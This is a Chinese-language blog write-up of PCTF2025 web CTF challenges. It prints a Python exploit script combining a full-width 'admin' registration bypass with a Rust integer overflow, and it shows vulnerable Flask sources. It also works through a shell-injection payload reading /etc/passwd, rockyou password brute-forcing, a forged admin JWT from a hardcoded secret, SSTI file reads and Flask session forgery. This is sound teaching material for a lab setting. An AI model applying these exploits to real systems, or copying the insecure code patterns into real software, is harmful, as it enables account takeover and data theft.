跳到主要内容
极客日志极客日志面向AI+效率的开发者社区
首页博客GitHub 精选镜像工具UI配色美学隐私政策关于联系
搜索内容 / 工具 / 仓库 / 镜像...⌘K搜索
注册
博客列表
Python算法

PCTF2025 Web 赛题解析:整数溢出、JWT 伪造及 SSTI

PCTF2025 Web 赛题涉及多种漏洞类型。神秘商店利用全角字符绕过注册及 Rust 整数溢出获取余额;We_will_rockyou 通过 JWT 密钥泄露与密码覆盖机制结合字典爆破获取权限;Jwt_password_manager 存在硬编码密钥导致 Token 伪造读取 Flag;ez_upload 利用 SSTI 模板注入绕过文件上传限制;Do_you_know_session? 通过搜索框 SSTI 获取密钥并伪造 Session 读取环境变量。主要涉及 Python Flask 框架下的认证绕过、命令执行及模板注入技术。

PentesterX发布于 2026/4/6更新于 2026/5/2230 浏览
PCTF2025 Web 赛题解析:整数溢出、JWT 伪造及 SSTI

神秘商店

打开题目只有一个登录框。

文章配图

全角字符绕过注册

尝试登录 admin,利用全角字符注册登录。后端代码有转换逻辑,全角能够绕过后端对 admin 的检测,把全角 admin 识别成正常的 admin,造成覆盖注册,从而修改 admin 密码。

注册 admin(其中 n 为全角):

文章配图

Rust 整数溢出

利用整数溢出将余额从 4294967246 变为 50,购买 flag。可以直接脚本登录。

import requests

def exploit():
    url = "http://challenge2.pctf.top:32735"
    session = requests.Session()
    print("[+] 注册管理员账户...")
    users = {"username": "admi\u00ef", "password": "123456"}
    response = session.post(f"{url}/register", data=users)
    print(f"[+] 注册响应:{response.status_code}")
    
    print("[+] 登录...")
    users = {"username": "admi\u00ef", "password": "123456"}
    response = session.post(f"{url}/login", data=users)
    print(f"[+] 登录响应:{response.status_code}")
    
    response = session.get(f"{url}/user")
    print(f"[+] 用户信息:{response.text}")
    
    print("[+] 触发 rust 整数溢出...")
    amount = {"amount": 4294967246}
    response = session.post(f"{url}/add_balance", data=amount)
    print(f"[+] 增加余额:{response.text}")
    
    print("[+] 购买 Flag...")
    product = {"product_id": 4}
    response = session.post(f"{url}/buy_product", json=product)
    print(f"[+] 购买结果:{response.text}")

if __name__ == '__main__':
    exploit()

文章配图

We_will_rockyou

下载源码进行分析。

from flask import Flask, redirect, url_for, render_template, request
import jwt
import uuid
import os
import subprocess
from werkzeug.security import generate_password_hash, check_password_hash

app = Flask(__name__)
app.config['SECRET_KEY'] = str(uuid.uuid4())
accounts = {}

def create_token(user_id, username):
    payload = {'user_id': user_id, 'username': username}
    token = jwt.encode(payload, app.config['SECRET_KEY'], algorithm='HS256')
    if isinstance(token, bytes):
        token = token.decode('utf-8')
    return token

def verify_token(token):
    try:
        payload = jwt.decode(token, app.config['SECRET_KEY'], algorithms=['HS256'])
        user_id = payload['user_id']
        username = payload['username']
        return user_id, username
    except:
        return None

def login_required(f):
    from functools import wraps
    @wraps(f)
    def decorated(*args, **kwargs):
        token = request.cookies.get('token')
        if not token:
            return redirect(url_for('login'))
        res = verify_token(token)
        if not res:
            return redirect(url_for('login'))
        user_id, username = res
        return f(user_id, username, *args, **kwargs)
    return decorated

def check_login(u, p):
    for user_id, info in accounts.items():
        if info['username'] == u:
            return check_password_hash(info['password'], p), user_id
    return False, None

@app.route('/')
def index():
    return redirect(url_for('login'))

@app.route('/login', methods=['GET', 'POST'])
def login():
    error_msg = None
    if request.method == 'POST':
        username = request.form['username']
        password = request.form['password']
        ok, user_id = check_login(username, password)
        if ok:
            token = create_token(user_id, username)
            response = redirect(url_for('dashboard'))
            response.set_cookie('token', token, httponly=True)
            return response
        else:
            error_msg = "Username or Password incorrect!"
    return render_template('login.html', error_msg=error_msg)

@app.route('/logout')
def logout():
    response = redirect(url_for('login'))
    response.delete_cookie('token')
    return response

@app.route('/dashboard')
@login_required
def dashboard(user_id, username):
    return render_template('dashboard.html', user_id=user_id, username=username)

SAFE_COMMANDS = ['ls', 'pwd', 'whoami', 'dir', 'more']

@app.route('/dashboard/run', methods=['POST'])
@login_required
def run_command(user_id, username):
    user_id, username = verify_token(request.cookies.get('token'))
    cmd = request.form.get('command', '').strip()
    if not cmd or cmd.split()[0] not in SAFE_COMMANDS:
        return render_template('dashboard.html', user_id=user_id, username=username, error_msg="Error: Command not allowed or empty")
    try:
        result = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=5)
        output = result.stdout + result.stderr
        return render_template('dashboard.html', user_id=user_id, username=username, output=output, command=cmd)
    except Exception as e:
        return render_template('dashboard.html', username=username, error_msg=f"Error: {str(e)}")

if __name__ == '__main__':
    admin_id = 0
    admin_username = 'admin123'
    admin_password = str(uuid.uuid4())
    # 密码覆盖机制:尝试从系统文件读取密码
    for path in ['/password', './password.txt']:
        try:
            if os.path.exists(path) and os.path.isfile(path):
                with open(path, 'rb') as f:
                    raw = f.read()
                    if not raw:
                        continue
                    text = raw.decode('utf-8', errors='replace').strip()
                    candidates = [line.strip() for line in text.splitlines() if line.strip()]
                    if candidates:
                        import secrets
                        admin_password = secrets.choice(candidates)
                        break
        except:
            pass
    print(f' * Admin password: {admin_password}')
    accounts[admin_id] = {
        'username': admin_username,
        'password': generate_password_hash(admin_password)
    }
    app.run(debug=False, host='0.0.0.0')

漏洞分析

  1. 基础配置:每次重启服务器时,SECRET_KEY 都会随机生成,旧 Token 失效。用户信息存储在字典中,重启清空。
  2. 认证逻辑 (JWT):使用 HS256 算法加密生成 JWT。由于使用了随机 UUID 作为 KEY,安全性在运行时还可以,但无法持久化。
  3. 命令执行逻辑:SAFE_COMMANDS 白名单只判断命令行第一个单词。存在 shell=True 风险,可利用 shell 拼接符绕过,例如输入 ls ; cat /etc/passwd。
  4. 启动逻辑与管理员密码初始化:默认随机生成 UUID 密码,但后续会从 /password 或 ./password.txt 文件中随机抽取并覆盖 admin 密码。如果能控制这两个文件之一,就能预设管理员密码。

admin 用户名一直为 admin123。题目提示 Try rockyou.txt!,则使用 rockyou 字典爆破密码。

文章配图

barbie

ls /

文章配图

文章配图

查看的方法有很多,过滤的 waf 也不行。

信息收集,密码爆破,命令执行。

Jwt_password_manager

from flask import Flask, request, redirect, url_for, render_template
import jwt
import uuid
import os
from werkzeug.security import generate_password_hash, check_password_hash

app = Flask(__name__)
# 关键安全点:JWT 签名使用的密钥。如果泄露,任何人都可以伪造 token
app.config['SECRET_KEY'] = '0f3cbb44-f199-4d34-ade9-1545c0972648'
accounts_usernames = []
accounts = {}
user_passwords = {}

def check_username(new_username):
    if new_username in accounts_usernames:
        return True
    return False

def check_login(username, password):
    if username not in accounts:
        return False
    return check_password_hash(accounts[username], password)

def insert_account(new_username, new_password_hash):
    try:
        accounts_usernames.append(new_username)
        accounts[new_username] = new_password_hash
        user_passwords[new_username] = []
        return True
    except:
        return False

def create_token(username):
    payload = {'username': username,}
    token = jwt.encode(payload, app.config['SECRET_KEY'], algorithm='HS256')
    if isinstance(token, bytes):
        token = token.decode('utf-8')
    return token

def verify_token(token):
    try:
        payload = jwt.decode(token, app.config['SECRET_KEY'], algorithms=['HS256'])
        return payload['username']
    except:
        return None

def login_required(f):
    def decorated(*args, **kwargs):
        token = request.cookies.get('token')
        if not token or not verify_token(token):
            return redirect(url_for('login'))
        return f(*args, **kwargs)
    decorated.__name__ = f.__name__
    return decorated

def add_password_item(username, website, site_username, password, notes=''):
    try:
        password_item = {
            'id': str(uuid.uuid4()),
            'website': website,
            'username': site_username,
            'password': password,
            'notes': notes,
        }
        user_passwords[username].append(password_item)
        return True
    except:
        return False

def delete_password_item(username, item_id):
    try:
        user_passwords[username] = [item for item in user_passwords[username] if item['id'] != item_id]
        return True
    except:
        return False

def get_user_passwords(username):
    return user_passwords.get(username, [])

@app.route('/')
def index():
    return redirect(url_for('login'))

@app.route('/register', methods=['GET', 'POST'])
def register():
    if request.method == 'POST':
        username = request.form['username']
        password = request.form['password']
        user_exists = check_username(username)
        if user_exists:
            return render_template('register.html', error_msg="User Already Existed!")
        password_hash = generate_password_hash(password)
        insert_account(username, password_hash)
        return redirect(url_for('login'))
    return render_template('register.html')

@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'POST':
        username = request.form['username']
        password = request.form['password']
        user_exists = check_username(username)
        if user_exists == False:
            return render_template('login.html', error_msg='Username or Password Wrong!')
        if check_login(username, password):
            token = create_token(username)
            response = redirect(url_for('dashboard'))
            response.set_cookie('token', token, httponly=True)
            return response
        else:
            return render_template('login.html', error_msg='Username or Password Wrong!')
    return render_template('login.html')

@app.route('/logout')
def logout():
    response = redirect(url_for('login'))
    response.delete_cookie('token')
    return response

@app.route('/dashboard')
@login_required
def dashboard():
    username = verify_token(request.cookies.get('token'))
    passwords = get_user_passwords(username)
    return render_template('dashboard.html', username=username, passwords=passwords)

@app.route('/add_password', methods=['POST'])
@login_required
def add_password():
    username = verify_token(request.cookies.get('token'))
    website = request.form['website']
    site_username = request.form['site_username']
    password = request.form['password']
    notes = request.form.get('notes', '')
    if add_password_item(username, website, site_username, password, notes):
        return redirect(url_for('dashboard'))
    else:
        return render_template('dashboard.html', username=username, passwords=get_user_passwords(username), error_msg="Add password error")

@app.route('/delete_password/<item_id>')
@login_required
def delete_password(item_id):
    username = verify_token(request.cookies.get('token'))
    if delete_password_item(username, item_id):
        return redirect(url_for('dashboard'))
    else:
        return render_template('dashboard.html', username=username, passwords=get_user_passwords(username), error_msg="Delete password error")

if __name__ == '__main__':
    # 1. 自动创建一个 admin 账号,密码是随机生成的 UUID
    admin_password = str(uuid.uuid4())
    insert_account('admin', generate_password_hash(admin_password))
    # 2. 模拟 CTF 环境:读取服务器本地的 flag.txt 文件
    for path in ['/flag', './flag.txt']:
        try:
            if os.path.exists(path) and os.path.isfile(path):
                with open(path, 'rb') as f:
                    raw = f.read()
                    if raw:
                        content = raw.decode('utf-8', errors='replace').strip()
                        # 3. 将读取到的 flag 作为一条密码存入 admin 账号中
                        add_password_item('admin', website='seeded-flag', site_username='flag-file', password=content, notes=f'seeded from {path}')
                        break
        except:
            pass
    app.run(debug=False, host='0.0.0.0')

下载附件审计代码,发现泄露的 JWT 密钥: app.config['SECRET_KEY'] = '0f3cbb44-f199-4d34-ade9-1545c0972648'

查看逻辑发现,它读取了 flag,flag 是 admin 的 password。

解题步骤:先注册一个账号拿到普通的 token,然后去 jwt.io 解密 JWT 然后修改成 admin 然后伪造后得到 flag。

伪造后 admin 的 token 为: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImIzMGEwYzNhLTI5Y2YtNGQ0ZS04ZDJiLTcxZGIxOWJlYjc2MiIsInVzZXJuYW1lIjoiYWRtaW4ifQ.PMpPt65DM7rU-z3gljV1f8z5h_DIXSmoDQnMu2vKgQo

文章配图

文章配图

保存密码获取 flag。

JWT 伪造攻击。

ez_upload

文章配图

这里打开文件,上传任何文件都查看不了,尝试直接读取/etc/passwd 但是被过滤了,查看源码。

import os
import uuid
from flask import Flask, request, render_template_string, redirect, url_for, send_from_directory, flash, jsonify
from werkzeug.exceptions import RequestEntityTooLarge

app = Flask(__name__)
app.secret_key = 'your_secret_key_here'
UPLOAD_FOLDER = 'uploads'
MAX_FILE_SIZE = 16 * 1024 * 1024
ALLOWED_EXTENSIONS = {'txt', 'pdf', 'png', 'jpg', 'jpeg', 'gif', 'doc', 'docx', 'zip', 'html'}
BLACKLIST_KEYWORDS = [
    'env', '.env', 'environment', 'profile', 'bashrc', 'proc', 'sys', 'etc', 'passwd', 'shadow', 'flag'
]
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER
app.config['MAX_CONTENT_LENGTH'] = MAX_FILE_SIZE

if not os.path.exists(UPLOAD_FOLDER):
    os.makedirs(UPLOAD_FOLDER)

def allowed_file(filename):
    return '.' in filename and filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS

@app.route('/')
def index():
    try:
        with open('templates/index.html', 'r', encoding='utf-8') as f:
            template_content = f.read()
        return render_template_string(template_content)
    except FileNotFoundError:
        try:
            with open('templates/error_template_not_found.html', 'r', encoding='utf-8') as f:
                return f.read()
        except:
            return '<h1>错误</h1><p>模板文件未找到</p><a href="/upload">上传文件</a>'
    except Exception as e:
        try:
            with open('templates/error_render.html', 'r', encoding='utf-8') as f:
                template = f.read()
            return render_template_string(template, error_message=str(e))
        except:
            return '<h1>渲染错误</h1><p>' + str(e) + '</p><a href="/upload">上传文件</a>'

@app.route('/upload', methods=['GET', 'POST'])
def upload_file():
    if request.method == 'POST':
        if 'file' not in request.files:
            flash('没有选择文件')
            return redirect(request.url)
        file = request.files['file']
        if file.filename == '':
            flash('没有选择文件')
            return redirect(request.url)
        if file and allowed_file(file.filename):
            filename = file.filename
            filename = filename.replace('../', '')
            file_path = os.path.join(UPLOAD_FOLDER, filename)
            try:
                file.save(file_path)
                flash('文件 {} 上传成功!'.format(filename))
                return redirect('/upload')
            except Exception as e:
                flash('文件上传失败:{}'.format(str(e)))
                return redirect(request.url)
        else:
            flash('不允许的文件类型')
            return redirect(request.url)
    try:
        with open('templates/upload.html', 'r', encoding='utf-8') as f:
            template_content = f.read()
        return render_template_string(template_content)
    except FileNotFoundError:
        try:
            with open('templates/error_upload_not_found.html', 'r', encoding='utf-8') as f:
                return f.read()
        except:
            return '<h1>错误</h1><p>上传页面模板未找到</p><a href="/">返回主页</a>'

@app.route('/file')
def view_file():
    file_path = request.args.get('file', '')
    if not file_path:
        try:
            with open('templates/file_no_param.html', 'r', encoding='utf-8') as f:
                return f.read()
        except:
            return '<h1>文件查看</h1><p>请使用 ?file= 参数指定要查看的文件</p><a href="/">返回主页</a>'
    file_path_lower = file_path.lower()
    for keyword in BLACKLIST_KEYWORDS:
        if keyword in file_path_lower:
            try:
                with open('templates/file_error.html', 'r', encoding='utf-8') as f:
                    template = f.read()
                return render_template_string(template, file_path=file_path, error_message='访问被拒绝:文件路径包含敏感关键词 [{}]'.format(keyword))
            except:
                return '<h1>访问被拒绝</h1><p>文件路径包含敏感关键词</p><a href="/">返回主页</a>'
    try:
        with open(file_path, 'r', encoding='utf-8') as f:
            file_content = f.read()
        try:
            with open('templates/file_view.html', 'r', encoding='utf-8') as f:
                template = f.read()
            return render_template_string(template, file_path=file_path, file_content=file_content)
        except:
            return '<h1>文件内容</h1><pre>{}</pre><a href="/">返回主页</a>'.format(file_content)
    except Exception as e:
        try:
            with open('templates/file_error.html', 'r', encoding='utf-8') as f:
                template = f.read()
            return render_template_string(template, file_path=file_path, error_message=str(e))
        except:
            return '<h1>文件读取失败</h1><p>错误:{}<br/><a href="/">返回主页</a>'.format(str(e))

@app.errorhandler(RequestEntityTooLarge)
def too_large(e):
    try:
        with open('templates/error_too_large.html', 'r', encoding='utf-8') as f:
            template = f.read()
        return render_template_string(template, max_size=MAX_FILE_SIZE // (1024*1024)), 413
    except:
        return '<h1>文件过大</h1><p>文件大小不能超过 {} MB</p>'.format(MAX_FILE_SIZE // (1024*1024)), 413

@app.errorhandler(404)
def not_found(e):
    try:
        with open('templates/error_404.html', 'r', encoding='utf-8') as f:
            return f.read(), 404
    except:
        return '<h1>404</h1><p>页面不存在</p>', 404

@app.errorhandler(500)
def server_error(e):
    try:
        with open('templates/error_500.html', 'r', encoding='utf-8') as f:
            template = f.read()
        return render_template_string(template, error_message=str(e)), 500
    except:
        return '<h1>500</h1><p>服务器内部错误:{}<br/><a href="/">返回主页</a>'.format(str(e)), 500

if __name__ == '__main__':
    print("启动 Flask 文件上传应用...")
    print("上传目录:{}".format(UPLOAD_FOLDER))
    print("最大文件大小:{} MB".format(MAX_FILE_SIZE // (1024*1024)))
    print("允许的文件类型:{}".format(ALLOWED_EXTENSIONS))
    app.run(debug=False, host='0.0.0.0', port=5000)

漏洞分析

view_file 函数通过 URL 参数获取路径,虽然有黑名单防御,但存在 SSTI 漏洞。

@app.route('/file')
def view_file():
    # ... 省略部分逻辑 ...
    try:
        with open(file_path, 'r', encoding='utf-8') as f:
            file_content = f.read()
        # 高危点:render_template_string 渲染了 html 页面内容
        # 如果用户上传一个包含 {{ 7*7 }} 的文件并在此查看,Flask 会执行其中的模板代码
        return render_template_string(template, file_path=file_path, file_content=file_content)
    except Exception as e:
        # ... 错误处理 ...

可以通过覆盖 index.html 实现 SSTI 绕过上传限制,成功读取文件。

文章配图

文章配图

SSTI 注入与信息收集。

Do_you_know_session?

文章配图

文章配图

看到题目到处试了试 SSTI,发现在搜索框中可以进行 SSTI。

/search?context=

文章配图

但是有 WAF,只能看到 config,刚好 secretkey 就存在这里,我们直接就可以获取到。

1919810#mistyovo@foxdog@lzz0403#114514

然后我们看到我们有 session,用 flask-session-cookie-manager。

文章配图

文章配图

读取 environ 得到 flag。

Session 伪造。

目录

  1. 神秘商店
  2. 全角字符绕过注册
  3. Rust 整数溢出
  4. Wewillrockyou
  5. 漏洞分析
  6. barbie
  7. Jwtpasswordmanager
  8. 关键安全点:JWT 签名使用的密钥。如果泄露,任何人都可以伪造 token
  9. ez_upload
  10. 漏洞分析
  11. Doyouknow_session?
  • 💰 8折买阿里云服务器限时8折了解详情
  • Magick API 一键接入全球大模型注册送1000万token查看
  • 🤖 一键搭建Deepseek满血版了解详情
  • 一键打造专属AI 智能体了解详情
极客日志微信公众号二维码

微信扫一扫,关注极客日志

微信公众号「极客日志V2」,在微信中扫描左侧二维码关注。展示文案:极客日志V2 zeeklog

更多推荐文章

查看全部
  • PicGo 结合 GitCode 与 Typora 搭建免费图床指南
  • C++ STL list 容器深度剖析与模拟实现
  • Nanbeige4.1-3B 模型前向传播优化:LlamaForCausalLM 源码解析
  • 程序员职场进阶:除代码外需掌握的关键技能
  • Stable Diffusion WebUI 云端部署与实战指南
  • 使用 LLaMA-Factory 进行大语言模型微调详解
  • AirSim 无人机仿真实战:起飞与降落控制
  • 2026 年 AI 就业趋势:大模型、AIGC 与云计算赛道分析
  • 哈希表实现原理与代码详解
  • 无人机航拍小目标检测:YOLO11 实战与 PyQt6 桌面应用
  • C++ STL 核心数据结构:红黑树详解
  • C 语言排序算法:快速排序详解与优化变式
  • Node.js 调试核心要点全解析
  • Stable Diffusion XL 快速部署与使用指南
  • 大模型学习的五个进阶阶段指南
  • WebGIS 实现城市停水影响范围可视化实践
  • VSCode Copilot 配置文件提示未知工具警告
  • 基于 OpenAI Whisper 与 Claude 的播客内容矩阵自动化实战
  • OpenClaw 本地部署教程:环境配置、插件开发与问题排查
  • 数据结构复习:链表详解与 Java LinkedList 应用

相关免费在线工具

  • 加密/解密文本

    使用加密算法(如AES、TripleDES、Rabbit或RC4)加密和解密文本明文。 在线工具,加密/解密文本在线工具,online

  • Gemini 图片去水印

    基于开源反向 Alpha 混合算法去除 Gemini/Nano Banana 图片水印,支持批量处理与下载。 在线工具,Gemini 图片去水印在线工具,online

  • curl 转代码

    解析常见 curl 参数并生成 fetch、axios、PHP curl 或 Python requests 示例代码。 在线工具,curl 转代码在线工具,online

  • Base64 字符串编码/解码

    将字符串编码和解码为其 Base64 格式表示形式即可。 在线工具,Base64 字符串编码/解码在线工具,online

  • Base64 文件转换器

    将字符串、文件或图像转换为其 Base64 表示形式。 在线工具,Base64 文件转换器在线工具,online

  • Markdown转HTML

    将 Markdown(GFM)转为 HTML 片段,浏览器内 marked 解析;与 HTML转Markdown 互为补充。 在线工具,Markdown转HTML在线工具,online